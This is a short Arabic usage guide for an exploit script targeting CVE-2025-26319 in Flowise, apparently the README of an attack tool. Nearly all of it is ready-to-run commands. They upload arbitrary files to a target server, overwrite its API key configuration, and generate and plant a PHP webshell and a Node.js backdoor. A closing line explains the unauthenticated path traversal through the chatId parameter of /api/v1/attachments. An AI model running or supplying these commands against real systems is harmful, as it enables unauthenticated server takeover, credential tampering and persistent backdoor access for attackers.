CVE-2025-26319

1. رفع الملفات الأساسي python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. رفع ملف التكوين

تعديل تكوين مفتاح API

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. إنشاء ورفع Webshell تلقائيًا

رفع PHP Webshell

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

رفع باب خلفي Node.js

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

مبدأ الهجوم استغلال مسار /api/v1/attachments الموجود في القائمة البيضاء، لا يتطلب التحقق من الهوية من خلال التلاعب بمعامل chatId لتنفيذ اجتياز المسار (../../../) رفع أي ملف إلى أي موقع في نظام ملفات الخادم